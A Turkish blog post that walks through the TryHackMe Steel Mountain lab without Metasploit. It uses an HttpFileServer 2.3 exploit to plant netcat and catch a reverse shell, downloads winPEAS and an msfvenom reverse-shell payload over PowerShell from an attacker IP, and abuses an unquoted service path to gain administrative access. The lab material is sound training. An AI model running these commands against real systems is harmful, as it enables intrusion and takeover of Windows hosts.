Steel Mountain Metasploit Olmadan Root olmak

TryHackMe üzerinde bulunan Steel Mountain makinesinde çözüm olarak 2 yol gösteriliyor. Yollardan biri kolay olan Metasploit ile erişim alıp yetki sağlamaktadır. Diğer yöntem ise Python ile yazılmış script çalıştırarak diğer adımları izlemektir.

Her zaman zafiyetler için exploit işlemlerini Metasploit ile gerçekleştirilemez. Statik olarak da exploit çalıştırabilmeyi tersine bağlantıyı netcat ile alabiliyor olmamız gerekir. Bu yazıdaki amacım ise bunu hedeflemektedir.

Nmap İle Zafiyet Tespiti

nmap -sC -sV -T4 -Pn 10.10.177.120 -oA nmap

İlgili komutların çıktısında, zafiyet olarak “HttpFileServer httpd 2.3” karşımıza çıkacaktır.

nmap zafiyet tespiti

Exploit db üzerinden “Http File Server ” arama yaptığımızda doğrulanmış(verified) olarak bazı scriptler gelmektedir. Bunlar içeresinden https://www.exploit-db.com/exploits/39161 kullanacağız.

Exploit kullanımı için şu örneği bizlere vermiş;

#Usage : python Exploit.py <Target IP address> <Target Port Number>

Ek olarak indirdiğimiz dosya içeresinde, ip_addr ve local_port değişkenleri kendimize göre düzenlememiz gerekir.

Netcat Exe’yi, https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe adresinden indirebilirsiniz.

Exploit ve İlk Bağlantıyı Almak

İlk adım, netcat.exe dosyasının bulunduğu yerde web server aktif hale getirmek ve netcat.exe ismini nc.exe olarak değiştirelim.

python -m SimpleHTTPServer 80
mv netcat.exe nc.exe

İkinci adım, Gelecek bağlantıyı dinleyelim

nc -lvp 4443

Üçüncü adım, exploit işlemini gerçekleştirelim. Bu adımda ilgili exploit bizim web serverimizden nc.exe’yi alıp hedefe yükleyecektir.

python 39161.py 10.10.177.120 8080

Dördüncü adım, exploit tetiklemek ve bağlantıyı elde etmek!

python 39161.py 10.10.177.120 8080

Tüm olay tam da aşağıdaki resimde ki olmaktadır.

İlk erişimin elde edilmesi

Netcat oturumu ile winPeas aktarılması

winPEASbat dosyasının bulunduğu yerde web server başlatılır.

Aldığımız oturum içeresinde powershell komutu ile web servere istek atılır.

Uri kısmına web server başlattığınız saldırganın makinenin ip adresi yazılır.

python -m SimpleHTTPServer 
cd c:\users\bill\desktop

powershell -c "Invoke-WebRequest -Uri 'http://10.8.233.100:80/winPEAS.bat' -OutFile 'C:\Users\bill\Desktop\winpeas.bat'"
Powershell web Request

Sisteme indirdiğimiz lokal zafiyet tarama aracını aşağıda ki komut ile çalıştırabiliriz.

winpeas.bat

UNQUOTED servisler tespit edilir. UNQUOTED servisi, hatalı yapılandırmadan kaynaklanan ve verilen path koruma altına alınmasından kaynaklanan zafiyettir. Özellike bulunduğu dosya da yazma işlemi de var ise yetki yükseltmeye imkan doğurmaktadır.

powershell ile çalışan servisleri listelenir.

powershell -c Get-Service

Biz verilen ipucu ise ,sc stop AdvancedSystemCareService9 ve sc start AdvancedSystemCareService9 komutları ile servis durdurulabilir ya da çalıştırabilir.

İlgili uygulamanın dizine gidelim

cd "c:\program files (x86)\IObit\Advanced SystemCare"

Reverse shell oluşturmak

 msfvenom -p windows/shell/reverse_tcp LHOST=10.8.233.100 LPORT=4422 -e x86/shikata_ga_nai -f exe -o ASCService.exe

Oluşturulan reverse shell dosyasını alalım. Oluşturulan dizinde python -m SimpleHTTPServer 80 ile web server başlatılmalıdır.

powershell -c "Invoke-WebRequest -Uri 'http://10.8.233.100:80/ASCService.exe' -Outfile 'C:\Users\bill\Desktop\ASCService.exe'
sc stop AdvancedSystemCareService9

İlgili servis durdulur ve oluşturulan reversel shell ilgili dizine taşınır.

sc stop AdvancedSystemCareService9
copy ASCService.exe "c:\program files (x86)\IObit\Advanced SystemCare\ASCService.exe"4

nc -nlvp  4422
sc start AdvancedSystemCareService9

Ters bağlantı alınır.

Leave a Reply

Your email address will not be published. Required fields are marked *